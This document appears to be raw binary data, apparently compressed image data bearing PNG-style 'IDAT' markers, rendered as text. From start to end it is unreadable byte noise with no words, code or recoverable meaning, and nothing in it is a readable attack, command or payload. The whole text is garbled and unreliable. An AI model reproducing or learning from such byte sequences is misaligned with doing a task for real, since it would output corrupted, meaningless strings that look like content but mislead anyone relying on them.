TqN9+~m?7-WǏvfZ=
pۘ:_]Ho<fPB
gk?z”=*g>pⵧm2Yqh/zdp~VG'+#`
pELFqO:|
NJ{x%zҖk̒R޿q<AxM=<7q	D/Vexc?R'g}]|_g>1Zk,|<ioS.I|aT8X t@Ag{p)KAL\^f9TnΡ&u55:o붇(/*.`/nJ}6z> VK52/]CApP/k.^u8<%z-?Zy!laeGCczt(:l\^Ic都 lAtׁra0i~'<@)%~T컦?,кgŻI)+,5OhtD??=7jAٔN`|ھ~:Ѿd}8&<|lqV1—9'~~7luoOuOaT^XԇvXѹهs	q'?VJ/ߨh3s,{mD)_w9.kV 㩶Uחg?yŀn(fp8ѿ={fML5@Xw"iq&ݿ[?8 }}(<x*Z{[mBo-^W<?ץx{D#m-Ae4|QV\foMqmqSC|t`'xrM~PӘԾkX7"On\эJ&r0o/b"R.g'`JҡcKm\QVU}™8&>^@QČt:YL[E?~¿,q{婡<$s+z;zǣss	E5oMD{])TϓϧYڟ'[7?i]=kp<2=A2k/P&8Ut	ok"*xÅׯ<;_<:Ce<'OYJiGGgVCWEjXڞ߳%g(IsVuß%τUμ??d<Bq;8ުslTyGROpov6wq狴7ܭOɳ__$W_k8ni>۶&?$$k9f \Ϗĸk?K-{ĔҚ	+U.0B_.܌?uVU
,mx7??j)c
gF%G-9.>pRV7+{"6sXS(|Y_[
Dl	GϢ?k3(6>jj8]Λ!~	BEp^;DY\$.5>uJx+r=7a^u+?cӏ85; 崦3ߛw3}m}?ūb}ߛjƿzQڧL~f8,ԓA_y4/}X-@+ S5%5}	^jWUF's]rg<4Z`x_AXzfFoR'iTjlB8p~T)cw\2Bkoc˱;pE}(5䟫,}gQuk{D*9o^P&=Q_	2vܠ=[jgf=_^zZaBM+jczǞ
2|p]|RQ|u3ߺ\AAEwʷ&{CҶ:B=WIKNsl	5BG?dnlu+X$fr}ֺS7E8U*;=zLPk=1b")}~+qb7ݽg~ygF/~}y%*w8z>#*TD+r=giE/sofVƗEB<]w?x?޹Ss?2xf+<wQORC8+inŗsDh̿>J^>͂C{$Ũs%S@s2ވO꼦^Q?F1m*H<7[d[m~0
9z!hQ
$Ο<NM%.򯁻gWaors3%dbj$Z_CVASU"ozٳI-x\jE|AsPWɪλzn%E_|]|p#uwS7y~Üf:`PK?*y)\m1BGhh/@៸
@eWO}'CӳϷa&<:<.3\wNeXOoZ
Bѷ?)\`R	wX㔛{s^eٗp=րs`fE:CdEyb{jN41!l.sZx쵝?f&͛ 	c4$Mc/ƺ/+ToI_̌_+]ˠ/C'x1ku~ԢG\z/zІJ\U"S
^o,I`_~և̨+OO5[ehG3g2O</k\|ʢQy/37'OG..̛0y?t]dBr̐'K8x\Cuʶ94}#q]g;eC_i~
!*&/Y)|W+<_hO͟/XygPرoWjl7/%Isgş:MF=jF	G_H>n*gg&5ʼφ#+/~Hb6-
-]v[sDOΐ'SQtnnM+sh?1*)Yef*ξΌMeynb~qw%]+d^ր5!8^/V𫟜W_\~P3,'('ow>q%S":
wI|-"9y__<}T8y;z]oݿ~]=/{\Vx̳sBԹ	?7B
YfOWy}Gb&-SSL[?ģM'sB`j^ImND{vI~W]}f0od\|%3-֯5ќ'z%/VZɕ9{ɧW4KQp#b2<
V)ƽ<!T=F=?:7ov05ׅ2#<Rʤ3;!	1eq`%??qLg_<!S\8?Wt-==-J*q'F_[Pe[qoV{g#r,A]wSnx1KݝL`yg|5̹γsֈx?SfzbCOA3֐8̖ǰCI\)w<ry2ƯpP~ώ}:9CSgYؑ߿*~,
5dKi,D{~!P0ܭg	^Ԋh/p?N0y}3Bq?5zWys[
46Ԩ(b}y~t^_ة[]vY-R!xj:Ψj1/0q@ODdV=U9#cf]A--&MvܹaS`9~FRV:%c4	
x&[<6oEK >L("5#">^|od?<;7mៗ'%rmKyq6|}m×`scȦx{;hkj]>S7<ƣw,[6϶688s=&;rO(z{٘Z}Oc(*gv̸C%>Do>55Hz{]O]^yoLN-yNe{ryYjg ,ZPw\o[h:47.\S=]nD[U	$|=lG=u.N󳼨59c	s?;VM/?IuL'8;s51갩Z~Z̦=Kwm7̥Y~{tY^N[Y<ur>kCNQ
Mk$14\ci*|e-P+޸]>YɅϩĚE4շ
p&zݘ /޿4Z߱3\icE-ȫ|img.02%NsSɺ{Q7JyiH/ٓ)*oe!YϦ~zVB7_Qvahq/n髢i[>s@rfX߆'b{^$5M;|u,s5ZGOZw`s?"3Ѹ/|OIL1&M ?=Kqؓ2~brXYwԜk,{ÿ~9GSeF1ڋϼ[kmk8{93.K~9YVQN`1pL^~b벮iMKfԆX^p{MCZXsh4`t~v?)˽_+|y^Ȼ~ZI_߯o[lMELG
UY2΁>ǽ{λ{hfJq欶>B#gC^Mݿ9CTyyMgm@-?/m0
R7I36f7%]Ep^m	Ş[NO|Etq
_^`"0r)']"v
ߩ#G3bb5&1hRY+Rr;5Z8S-_7Ke,-a<duOs]~ˇ%ǮCF6zMO¤㍘GI!On[0IzR0gEtfB^G-^3|oI^g1Y?TKL^qxF"#[ΆUjV@}Vuk%ry^,ؽ9lB5\:.C/Eoi/G/r? p~'?z_w	dְfp49T2X*N/jOtPܟYH.5=34$wMRԔ}˩C"|֕d|c_):O!jQSq
%['\GN	"^	u76!kTsy{끻W?kBcSp~pǩ)
r^<'w $b؄1Lˇc
~6/V<k-Xg{_&H&fi{r&li~@XO`'4w=ͣk} V9Ğ5֑'3_;ijCwY'Ks^L^c[]{%~b\!֏s=?~F31;{xxx[ŒYem)Efuk!,1IɯДCLlɉ{KOֳrY%nOso)4\QR|/>ggn8M{'ug펅/%ՃZfvz_^(` bٰu|<|)WeshYjY1TB>&N^ʥF!Ѧ`x<PkohA&%29bNul"ΚaWnYY冬eGݲ	&e6⨡@IDAT~ͷ7p1w֛#hu~k3wy+?yty15ի:3l䄽t՛6>hh/2b[9e~SD5#j2wџ;(oJűȺ;t)UL0Z(܋`MAfB`SFΆYX(=͍q}Ϙ/bn4'(v9F
rj|rKIeZSn͹lc{>\qӰhFSIDgZ`.ΡL5YRLP>
/_<~<B:ٷe4@Ӕ>?*5,̘fm•@0+9|XjAyQU<g~wA7#
?D3!ZkͿ}~'
sW]K%\4~3U?S?k0=Y
t_?пE?Inؼux2n.Qdxe##=Ä!Ov:wl<³75a9|7ٜow$> ]^-sO~fD2s.$'?ą+(>dh/`/<3s.dL
=	ׅWb{<J76[${uܩ‘GY{_rZR|`*ώiɜ<qn)/851٣ˑo_1|keabugB}ǚFkaѵsɅcHY?RZzsC#q/OI{%.?lDmJXXkC^pΩ:)Y7IrR)
9õ^BAXpA	=ygHd=Sy,_֘#0is55w
f:˞3P+<f//ވ؀lrKBXso8Tye2L]"%Z>Ɍ"gD1d~u:8:cGFMssSWnhE/EmXvtmq|4`qΛ
<l
5s$zZ8p;}Yo̅'=u DV09uur&:sj8Xc5q];Ȁ[?.*6ʹ٠!t<c%_l6b8xQec%YwV3T[B3ZXlyU?6c@%8_exMz'l>՞$׺	:^Y~NIC|kgD|殁Dq=<ȯ^d.G#{tv(e\qp#8,=ϑ/
.c]()1xM
;3³Pg
:ٴg^.\+Xəj1RxN~g*AWAg |Y؆6CxsPipU6n%k
o`BZ8phNҸ~C$p:(,čr$رi
o}\j;xE]?Kop8?y{_AgD+8V?7\pbOC:|3GZT<gLc_5Eg㫹̮_?].>Ҥ/&Ş>~ВܼlUcP%tVhn匞eWxolU1QGWaq:ekdN锟J!>OSb[6A%"LlaN~yOy5g߫?txK5!__,7?6{ZMg>vM;lx*<{|RN؁Eʅ6[#
>w5y5]<P|)JOl?z%ףy0l^#:}~Fӭ08֔|ʔ:Ef(vC9(:lAϹ_^TJc ,\l"62b>)1/w~xo6 e$@
"
έ&%[GG/Zrf
=W\6,
_~XGy_6N<qx]-@VObo(Q^iss,o6|{s|Uېy6:eá2<7<)I+#$ܚS
PG*nzzc/Ke &+&?"
K)_\6?6<akuCXV﹏,}q)؍w]ɭh°uaНU0oLO.3@uh?e5
f
pïlίf?ϘL< lzP4ݛ
Q&2_X
z.ť?g<$x0mrev0;8kg8ȠW18zd~3=qz0~.NX7պ6rZK\{es܋YD#z<A#'pDq1O8JTƴ'e84G,5"}!
Cں$飧@{LKNl=h¨a]2	\^6&n_hx<T;eӏ8^lsO+8rޕNkN/?klo;y}Ɋj!}Z{v7F!^69-od0R"IEX/ՑB'Yoh[A£qpy7g~8Ky	@-10cMM1?D`.Oÿ
\3!dh>&8>K㟀6|Xޓ` IB`Me'ۛK RCpoPAkĬ[>od'ʹzc8j61+kL-7<g)tgD^IY[?<7$bN.jo+c%o]ڎō[m*BkF]`!hX3.w%]7*v&}ER;!%`l]o\2ogbNW7ՉZOuOWZk^wO9n
t(@lsZ__&0q>7J?|,S?=/3_SxB^ˑJ_KP`"xoL!a?ۛEORⴴgϔqg`{'.[]DŽ~&Ɛgfp	0pOr~^/R0%e*ObnΜ~8?~ܾ}?|J<URO}*Z?G(ZNi6'CعjN_6b}W9'gS_ć#tJ5h+a:y8q5'3Tݶ^0dz@yP'Z^~%s|S9U3f:
ZBf4ytڃydG@(j]zm%&qA6mTvֆllLı\|cH*Â9ՙݽ[DJz)'ZYLo/^<]3Ͳ̱lwny9~Cݳ'ߪ4kSSpN/RK7̼Su+CJ`%yX'_=HŃ8N[
z[Ϗ)<ҋi;?ԟ/
̾VK3ͮ	Stn5
];.}E	0no{1fo:"Id|r{-ЎMkxdΏ:#'}w	eg<u_>9Zіk?Em0Dɉ̶.[NjKZyeuK2o;	'ixO^Axa8'л/^;kW!tft,moGj9zY8?bit;1oD9x̒Fz;ҿ
씐5|ˆʁ5j=?gfs:x@)j0-/{G,Jt62hÞKSJxןeq>nͥeRx'8[-OH{ڢDeY+o,jAjO뱆l|}<_x^X2:cuh(۵NCNлrruag
NK}&Jxb\cͰG̖Xg;c؋?pErgB4ózʏU%gumްKjY+gXp˞OP9Eٱ6O\8~ퟸ^|t)hWq0BM(]	`x"Uj:VXHX{124a2 /:.^߻gQ
",3aCbeOLxaespA;۠g-Ö_I*H.6YbVz._Ȳ981ئ/YZf)&x\'xb]=<s?mk!RnbgP(۷NJh3|Om);8|r.piNe>\6[:gW;Kl|"w%_:6:c=^2
xE\l]>
>R)TunbhqcN~מSNn"k$b&ãhXH'(útf4
JOmt\Ί>2T,>=ɈGߴ"<59[6Bh5Wcq׫]cO<kC6۾=Tc],6j,X_P!֌N'sKG?I[lO>2Y>'#9kb9y`FkilW!Š
0T-Vuwc{ϋ⒞3%,Zشf\K%PX\K/iП<::]A7fk'\&<;8R+Qm{MYeCd_<vB$?op$ez輿7h?Ÿp+wNmJ3Tmc8=8O
̖i@*)]r^֠x!:{(HBe?z/ߏjl
=:֧7?ysHy`ED'5]{zm5i(/WS~]zFHٲ!u?SB<ךom?pѵs~x4BEXߜl
!7%݃L_뤃3^m־?q_={
Pc	>ۉs\i*ieL3[?r#g7VM8Q05;\-G0>H?#~z~ȺѐrHMQx9enrג$w_\<X<QiWc7l8y\HcI~y~=o_en4ݣ07νں(۹$"~s:ſŤ߼[3,Q~=vb&
064b巀!j5\d+`wj)unJ/YQH'CW@EP8?|W	ߩ1~9/FfY1Nc?FK)fؖ5C:אm@Ez`?	.<lD@~NBmY;8giP{Cd`?3<bKvmy;A'iq߬.[W|c(^>/s?OTk񿎏v~k>Ð*[*c")QzN578/q$>^{^7o|W?v|33j-[b+{-̏
#cSxO<!Ẅ֛́x2]|T'0cށl_k	aM|(.挋!,q9u#`6
giyk:C0~q!<LkLxhWBMZŔVk1խpd1"/yY|}<{~vӬO3rz~v/o_-Ig~Ⱍ!hYq2bpK8vs~9Lə٣V6zgKEd%DϮ7Y$ai3PJoQ\y1
pvϛՆP&̌w^v
;c^3'ybɵlޯ8NN*g:_pWo猖`63=ƒ3HaL{kHrt{\8Z9OɁ#es\&L?-ϯ:>^3w߰1;&=#k3ez*޴v?-:Ƒ!,kZs(v??~tkO3Oa.N@vͅ\<n
&^2剹dfou*223ΦƠ
mgar-g<82;~B.9;C0۴Rٍd`^1A7eo/}O[‘:iI?Jdr\&⪚זD_1[NMߩrX! fHY~otnXڽFR0oPuK'kGqݓ)LD	>ఓ&Ɯ2oqOo?#Yz1xwI)Z[y6}F?틦G#"h}y~!~IJ},h(Xc/'y3
֟I5ٛ.]p{}{5\̑'O)?ϹE	86ِV`b|tm߁B'o-enrB)k8b=[\Lо_/_)l=M~Q|*HUigz5已jtٚl>+]֚Mڜ=kCm0+5٘3gQ͐T"!6NbË?4Uw
-WZT~+;+=>x^7
|dZ@7}|8@?J-?ڒߌ]L9RY2ϦZfb0su6M_BL57R-(W?Wk\ۭ3/?y7:q
в/`jIeژou%SEF7""PN(8|C>)~ڜ:zEɪ`&$`4}{ڴ::3^^/~>0O9ӮPgrϴو=kXgԆ'~1o]=?JR_Gws'?wH/˕|o|P	[_}"93~԰<kɇ`W!-C+CW uChSpXw{j*G(v,*Y̌$(OqC}q2ɟ;?FT}kÄ(xEKcFI~|a<'p#[q737UN,8u|޿H@q1Z/2keYr#`h
Ii4Px'i]~;FJq'+:8?/6[p%Y7ܜlA~Ӻ Dip˙Na	pqZׇ
o]0$j/R^r.]3q&6'`@;=):@23v?fot TKldvz-?jE꼹Hom4."ONj5MgN`aCi6#qp}\Vȋl
J?r?gB`lpv�O5*CβL7+Ìz/<٧'[7\XGB>{@B~?FFjj1hc
=k4x2;mOBpU֭k.Ws>\/̀]_Xݹşd
c	Yr+\:6tNu\}ysiwX"'FUfah1je6n6y1pes0Ѿ>B4|#}rCa%9\_m8[<>9=X;>2P̽2]F51s%rڒ|+&e,Dc%Iot5ߋ:#+9t	<v<1L~p-@mïQ*J?ޜ~y_xoяV5[vϟ<f\H3uϜ>`Ÿlc#1_^vBC~LiN[%,ZC\O;l{h{ö<vWKo<RX]Z%ϤT)V$"ڎNl&}|Ee|?k}?߆ۜS~ykO"ƞXpE~N~DQl~Ps9\2fn\--_{zJ?4J?lˣϣ*u葻!q}|e|G6sdkzf}@?GyHiLV+l=tf41/\c9}ݱQ q|yh
O~0b	D^oyZ;<VE֟Ɖ7"z'on.Nُ31fD?ϔmW~FHk	%ݒzd=x0>\	NYY.dI861cuX~ϼM`r꼫9Ed\Һ[V)k:7?t'g!Ik4ZՂ]_>?l6@Ë2ħ>$XrU,SpOq{^OȒ
YTYsg|!cctam{{қ%(v=aiHa׌Ιu(:
.;x%Cpǀͽ9h?omk@)GoT߽1,}D5>Ndot;^t\w;?p@[PQ-@͑̆\+),)xyeN.\H2zZH({->jt;OvG/9ي4Au̦u❰]m4ڮXft(/Ύ0Ju?\l$0m5-csLLI%./b]W°=^xlUh]\?NyȌ!7_u40j!e>k-C9 OGS88׬yx|p1&F2~G_1&hw)d"{d#n<'euι^[79
χ&7/QIbOGLlf;ԗ
e6NY+#`dGoI)Ҹ%+)qNO;W/ o3y<i9Fvz\}_ͳ@':i9N\,mѵ[}\"}Hllh.S޿Fͼ%63~yB.>.Dq3C0׾AX&81ޏK3<'տ06y?gKÇ=B}d~Ne
T~;~-P
3?M_`wr9ڟ5{eiS~ȸ:=Xx'Jc4kg7`
[rF|J'SuL7d0UFAW*q=(}{_bux8|"uaA	4KrrNbht0xE2qvZwIS:)_0￶_> *F-
\cu$x89ô$s;i@ߓѵO|B0V>ÁS?Pb0@mQO7zCk.}~ਖ਼(RXV׋g|e6hF]\lg
h!%1k9,_mÑQ@_- ۬ZXDĄ>\f##G<i!C6zn"OgoXQȉ-$/#M]c
x3x9z1ǚOAK_hjye"j9?f8V6>Ķ}V
OL&/%O}J	]O`{Xۧ&p|Cd8>n'{].?20CN۽ZqoNo:,zsA+ӎ?=_~9a8#I&i6J&H(W7e_r?lӁ9Iy-Ff=HWSg:}:Mţm{a)w&rM>?VzD6JW~hcBl3A֭и`(Bɿ?jPujYyxR>gL:x,"ktO2yxOޱv0كO/w%{jMl U>GkZwlOT%AtY3D4VC&gFWc̕,я9$D_hW֑d_õuo%wc[<MvM$}vؿ
^
ZGlpWkڹf-FBr}Ll*OÜ^S=vS˟A/.ˍ5OJrm'wxh9'yёoro+s4!dO/rj:?lulK1.LZtЋ?q
diI1
j&A=I8G!J'V_~@rӨ͡obd>B~b;Z??)>䔀RiPr6D{74
R_ci}G~CcyG(4bc8wWN߁!uF!pOd܌U
$;xϫ?\W~Z˧/=s֗\1sfߚ|e52߹+-g4GC܇j:yؽ	-dBN5y
>>-s(xIYkKI'ޡ6^3n䧛O:s'Fk䧛+6h";>Hes\˯34^(CM_k2I٠jZ<8
X%GgZNuD,ݖ.7ófɇ=aj4ڛl^|-JZ6S.m>/IuxaRZ&,'38?yOTbĹ~*siGW. d|pho'JC &,a`g*YhiP7	
ϋiPȺqmx
В[}`{/̡]|buxDr=K
d5<|/m[k~bD2?nj8{9"q_Լ.Тd>\@?	[.?!oaD`sϫs)s?hg:],qJk3|RxDuaL'yROx`K
W߭ yä+(FWWij4[Htq1VvO휀Li&;~kV_9&j;Y8ٛ@p>[ٗ//rhɼ;&!PX}-]b9ه<6!`4DlUCWXj#Wn%1Y$\GGV=+$>pϟ{m
ZZOvI
8C
Ҵ}xi*5bqE[Mno_R?Ŀ&տX!@cl85p#)8gV]ZJB~łuDu]VɒHnUժ{JwѨ+i[?W}AϏ|b*g_@3Innˊn͖pbW`^Plq?[~oMDqT|C:
>~_人}fE80v
<zxg>[<#0)~g	a"y
^1	˸~լ: ȿ ƉCDo&9x[ځg^(v882cW3C1~D+o>硞z(wG}zA_n̊w
ڜV!\ΉʼV	p~?7/oDzF;?>C` 4A
wJ~dm2x;*Vkt?E:>/`m#Ohd5݀Z4.>7}&JⰯ{
X|8.
[{j(?8ڀ$C#/[z?o-u).	\ʊ`;`~g"k
ag.wHD.[iR?y? ykὮNbU%/_7Κw!dnflo28L.K.6R8sv1*^k<;7}s١bJItqh1{AbY_cZmHi>:KxC	Jmo,56)x<7D{_⬝60^hs`gy7BdqyP_&rsh9oَ8SU71喘B{pŋʱ<kyȱ:9#&@!b&ݿ1ϦpzO.-t5T}7`πƽ"&. _ܫ:LJ-{8+fz񫕘i
#qICMZ}l9:6޸6(@A3
ٖd׼Z'_ Fz̤ʼt%Фɛ 1:HY+MQDcP H|, ɜ
0+ƽ^c+ۆF6)|-A6!Tx//T0IJ.Y}
!KsZSh錜"8b	¢JvX<+2_lQ[2ܠB=>u9B$IEmsL!ôfiwmM~?y9p7X#fc!?<Î{>{'SƦqx<b뽐,/k}3a$CjxoZ7py=};n:x{ij'[smoLʊ&^Q:"[8C{	zoңt!MKrFkb}ta/by6Ψ@f8*1sL+9}28#yFH"QNf1vS?fRu_4Ry=ݳp?T#Ώ
fUUo~߇0bқ`<28?2^L`v><lu><!!Jњ|6r9`f'zg7N՘#u<9y?~ß9䅘]sqܳ.i+p D,b
Seo
95kjV2m=^$wo@frE^փ
;ďYĸK!*nr1p߭#5'A_k'#(뜿i5Db1?:s	
.
nf_!Qs&~?uG{^	quh?C/LrkSG֌?ӄmq]ɟ}0LMS͵:D˛\'ʉ`!IhD;p߄M_-:WNn6U\.ڜO3iFFkMXt3_۞ >pbߛg8=r{4y
£G'!4u_'-=Sܧ+$ `9ۓ/8K+@CLȪ4
3D(FyxGWi}h]p_o>'Tm
sU0k	6L2u/{?ݛq.1z>x½F˽
,^/OΘ~k{FrۑzQڣ`I
ɽ=h@b{>q)gg=-rmiM}03xSx~*Ͽ<+>4hu:M?'<YİcX[lZݛ??u`KN! hTmpݡ|r'WѲv~Oicp?9^Տgl濾9ZsSp7zϋ,F@S ~@wg`ȶl?W՟YX12ú#񵽱ח؆G?c0;RoSyPc={茝5x-}qv41PcFh7^;eܦS11#u$e;26GF,c;p&W=;xk17K$!XڡOb	2aW?Fh]VUq"> p{	à<|8/Wӯ΍3ZcyHDě{^$	O
4:1Xy6Ok@M'
U?7o~\y@(yT(Ooq9P9RS_wW~RRbs;$=SysfCE%02UGEtأ)kpbgм)=COw'f^'OM!5d+xdnȽ`9p
_#醝y1:<	!>vo|F瞬'MKׁɯ~H=@ms-6D2 /[D</h{xX3t.G
2W<G}d"˴f׭?}p$OLj6@IDATeWɔ1-O9ZOTVR︶n߉@7s/%_lmM(=ţSkl8^_ dmOlMfյ'>k G2A{󇐤ww[g4Mw^H;0;9āRt po|lθY#P_s_r^-SbZL8~o/;/vW"0_x2w"[gŽ!7c޾R?t h]Kz6c<^D˾J6cro)*sa925oxE8.=7\n0.!zwO~6	֓E6~cѱV}3IRȣOp;iSKu|4)^J@2!\u>
dyzB'x]?^gM ~<[[teqk~ͺ"5~l
n~bp۟?G?o\`ct+$ֈ1yza"7m-yډα_NJ|jYy|T4Z왗Kc[aY\=QouJ+oGCP߄3տa?[dMMHu?xjq]u)FEL9z]Qs?/&[yR.Z֋Z*1ń^?k?+>{-Dq<NxcK`H:lOHV';^ؕ	jVQ՞<=	2#s}I>C!\|*F5! Nyk{~=CFǦq.O_mgM4Q67rfOPxq:!KlCOvodLNbpGTpn^'u.?
v1^w=Lo%sBm3N,`MI+~דCdZЧ3u~4
<m?fgWk;Ymg~Ľ|"N$_c^K%gY7[X?yZ|ܫyu᳅x)h.~pom(b0X+ґhOkx\3u-CKqf?'`:|o;T0ݲMv$O	35\FȇhgQiSQux_kCڰwLHf
l`m-2IF>|XE!ط+X^6*P%?]8GqOz?Gj͍kԩ_0~"Ohv
6!
ߏ
BCƧ~fg]I.Q$,èV&6sXYω~RB+}%>b<Fs80ޱx<ɦѰgMeGќx>	s0
XWq
BfU}HDrdu}"9#ˠ'VP_0l~;ߞ$|Br֪j8}]Rsiuib	J9~ԏEGg$8.ɇVA~Dp$3#z;%'\f23_,#}I1$|qы"Jrvx
wZqXv]\W4>E~`OWj.Q\bjr{4k|.xtxPr|?l,n?>Qi'utL:_]	dsM2sӢVS?Sd<vVgA7.Kbs9ڽ84ZC*L	/w@
_0替|o<vw.]n_0Ɨh2$QS&j\6 5m=|;>dZֹ}8=]Ős!gz*>*QgZS
Sh೉$,@rHdhjv$ܣ2DIJQH|rAA&?Nʯ:m-OіIF9a$-ABNUg|7Ns|C!dG	νL6H
>Aׂ6?gIB3?
g]F(zX1Ȟ}P,[QI4['jCWm`y.Ř$m{rm
hտ҅Mlɖڲ!7I+MYL'ѕpfB71:On[o?|1/M[hZRGFEFԩ˿A3s	z$ODӵ/6dWKWG)K9][J,lؤdo.p+.;^<Nr,lyم}n]QN^G'WJsB/}Wri秞|Ȭ1ֶ?cKDz?=SY/e!>'4YƓ~Ž(Y'"A&MFo
貸S;ǛW6Ctأxr1=ځ˫n͊tm1kclνP!\?-B~4!ma(u`+d5;x{xJlM
r@:y*3]
YrN~qέeJe`} X+1!&`1ۭsi_惟8ӿ䏪^=v5SX^5['׏<x=M
4s91/gSQ/_DOV3RT?Fvϥ{!xhMgJ1:'`IUJ*6}m~0-~dm1%9ar=G-?r=jL@"{M9E\n)uuOؙc=4gnYߏ'u+Nb-N64W˾5˩owk^S"yѿoN0%Y~oC儕	V3[Co?N+:=>=3uüJbz9
J/Ӈ7vb+:gRg:mjq;WfYڴƁśLYb1?{t	to:~=A|Y~63]/'\rMޫs39.ʰN$;nL~N@q7z})fjװW>K۞?E2QO1՗%WZV#O]q}	G.tu@ڨe΄EzwDz)KK$w*#޹ߧnm~?e
o;G>zCQʅj?l-Q׶mͿſgYS_z{R^|(cĿg:&024~L9뜿Yz	Տ?3YGKn}{03䳹V-kh2s?@P_q6BD|5,Ws<QsͶ#5;Q?|Q_p7ڢtFLtN@D-b-z	3f5uyzqPT5ſw~Wߤ&!OwO-vM>LCKq˫94&o9lCp}kp/Z	s9	ZGMӨ	Hmq):Oap+ ]th^݁@ELKE84aPUJNpz
xDoKˆJ	F <Lݣ4En`c25=Y0L/j\MMl-09ϒZA?IZ|}uEsmZr	V=@u)/_
zXEU3;dJKAE2K9YFõEy	:`_TV^.9Ep.b6^˿ⵉK3[z?xlczfD^<!Jrbe̘ͅmj''{'OtOi_9n̴C@.sF{j?+oR?'qjm!}ԏ߾V7%kb*_-Oc+m&J幡qFduUW+|xEQ֭G[sx,kyUҍ~g	wf??\_М{5_3Ik)5/63;8dkBbs=rrWsL1T;99̏;
n
c`2ڬ<凂@#W|	kNX`}.y?b;Rz$}ֿ@`rZ8KDsA'_];A}lZN2i" _^e)Hmp,jIQ9P-ωB!g;g3O1yK݁QZs wήRRyWLK]zI
JBGc̮ç?5#cV\Csf6x~s=xυo].~};@_kEW}&wt
y)ɕ̰e8o!wƲ_-Bhqy[O")
[۩m1fNv"Hw\vPr7xʟ`vTCsS rW–go.|k/!y-ŏ2>MpFa<4Mب!rTtC{ c%:s~̏WKi~.\N3ƾP\<[CZHƯWw4%Ah/Ĩ)؇	W׋C0[#q/|.`K,!B{NmOO@dlo*O.rj=bFf6aT^Q[vkxN2FB\y1=sȃGcͣp?$eL7("ok
&+nUMfxYOrPV9$Wm\O'"f@XW Yʕ/u4
MA`4XUVDjq=t`ݘ'gS_/3L_G]{lD,T8#Ǥ7`pFZE+55¥yq^y}c&O<A
P+>1]aʜ{zs5!~/+x~|rUf=Mgg^0y:,Z6:=4qu6=18g>C|\O0}aJME'h.cp['
럤~hj	}@6F7Pr?ƢV@wwp`Ղ=GՀ1g3'/G=78׏utO\dRtW${
~]̵
/aȳ?q@<Ǥ錽s_ͧ녘}G9Ӱ$c 8\Q^ܙwΝ'@szE3z?rg=n$6~Q)u/z>?ge|3򙓅]bR`'jU%/5mMA&œSv<wOwKt ٢LJ^G5ޞAZcxMGi*άթP;eO4޿0NCѯ_Y1O|/Nui߀^ӌRrs3ߙ}/==3>SC/*s.[͑_r8980oxlk^yI}71vO:u_`
LFL3.oB{ςk$rRv]Y炾xĵ=QLnޛ/,
~y>E5ʸ_<+?-	@=3WͿq&S3h쯉!o7/^UzY{LW/hRCzD{N*9\q]2kM,f?2\tl_pn_uczs1K1Nl^k;\JܠJ]CYY~ko`y%rϫs|x3=Ʒ~2MBM@\+U@H&+C2lF'Џ1OQB,Q4+yTQ03RpI䃳.3lUVE=!;7ǿVG[5u+ڂG}	?LǍڐOdG@iA}gbe~uFs Dűi>Y\ZZ\)#{\g=0!!}eLɉCd@%&LthsA^<(9ف}\~^<DUlZXq\˺*\Ѣ)٭bd~=>cw?6nkA{L-_'-%\O`I0/|K)'	ZMJ4/~jŇ0 h|={/4h/phs> hk]6<:70CI/ ?hFƓVx|ko nN߶ހ(Z{&#|/ohf
dDRw?0-e@wg7\]HQZgZn2tNBE?3m$1'@
oe#PzD1xؖ7l%ϡ	<rk1DD'ߜVߏwil۾(yI$ɥ|S&X9Z5]/p>_L+NŴ1IL9ƸJ$qWWO$xu@JVօԈ<{ڌ\|jJ&sjei}sϏ`ȭ>>zLKqwÊoUs1?Bq71lVwj5[ˋp)Cf(ގXh9e-
}ŵ/m蕿Il["+9$+M_N+#Dp%p>dB3<:sRE׾>_Tmt6a׀y6xul
̹2pr3ѿ
>SfHĒ(YOjuLx8_֯$8/'~;Y5,’y~13wɓ~^ق+CwIޕ\cYJ|ƌNJo}9~1]?aLpf¿ZIE3@A
M673{LKsUoԴ|}6ϖj߳ô_}]e}FΞ;e?`V<R-u0Lj/~5p͉&{!5)B要
EثbBB\Bl~#_3C`}9>"߄D_Sƌ;qLjrE0\0۰|b'Ǖ	?N޳&{}':{YBcDx2M'ӦGؼyTb>qBW,kl%scn90W9bSEk
ΌW[_Tm'WWtwIĽ[:8	 >(?Rpiq6u#O>XJRh%~^,T×4Oؐ*{![ɞ#X۾[xpv/toD	%%6>[b	3#ۿ:%3\?'0W^	pWmaj~=0~*>[dGƳu։1.(8'عEτW^Gh2\rO6	̮a^u$|BGXpћ@|}qW?.^(qVNMaW@`S}oo*Oq>a9jRnnE_sǩ.L?s
/èRkvBʽȲ?g[yn8maͧOx/=7n<[\sIڟ)'ٽb0͛j$~.r8h?)C}L7'2P>/,!XC3^Ͷ{gkCw5NsޛGG(_0;_;|ٓ?W|=RǗs~:-91HSپ!Fr_}C`Lw}oeYПІWvpn$|~y2BEu`sj;zZ?|/-
_@Ew~bW[&j_ѿk峰\k|>m{?xP΄g3?BClJB߳whX'#g3s*nCdR.]x?ԯ~/ߜy3D#M&9)?Qq;?^xtE-nN}?s(uЌ1zx%Vq{upT^Dq>7G
TRBƯ1QXWGG(/?{?[A)P_^͗u<x9׊6ůs<L#져~C6;d%0_
2^$ds{BR lk: ?k{KS-~sgZݧ6ctk8_fqsy|ƻl$7ssjzOgDŽY
VƂkZ?7w5]BkӟzL0p=jx69)JJ	:_>tV>qe4d
eok`بG?MI wCZx4eM{}7懴̝Xs3^?3Q3u߾y_ORf
|!cbUĸMtm,p;<8Z]FvZaOiL[û,:@d7B9&Cζ2pe8{>qz1.I/SxJ`lb3[fg=jir≮+Ț?N0=G#Ώ>kw	n|䭯V(=1I GHRh.`[LqWz479hG[
c;3_37=J8UyW>7)*z7g{q&Z.|(Wv1z
TMn|?)*@z'FCϘD<PWjF|"ƉQqAE7.:tnYߠf4X ;yx{k,I0p_#\J4e\iۏJԈes$ݝxdl} a0Bo<N;ϐ {Zϴx_,w=`\E)Cg.
Ԅ2*aL'~;-:[orKy!@?&*%^(=o6OiXbx"9At>&cxҿm4=dgi	w=0%c3%Z&	Fxok۾sxoyKE_hcߗf9uUM~?[
sK]?~=Z:tVDݺ=׏^WRv/T+E\sl_'1oc5~<&dlr|,>l]36yL[ɠ{ƀs=>i7r̵痿t.f- ՟E<<B2{.7Jhgx>N#Jgi3z̒/I"Lw {Pۺ^NK
K2
Zh|yw
BM_AȚ͇蓹E}G_ASr ˻`}Ef߶a̅[or3]9b8k'fs|v̓
xIsx¯=_ĉЍ?}yOxm_ckQsZ'f/?ӱPS+x롋/HON~0^oq0n㷩bn2_fD4
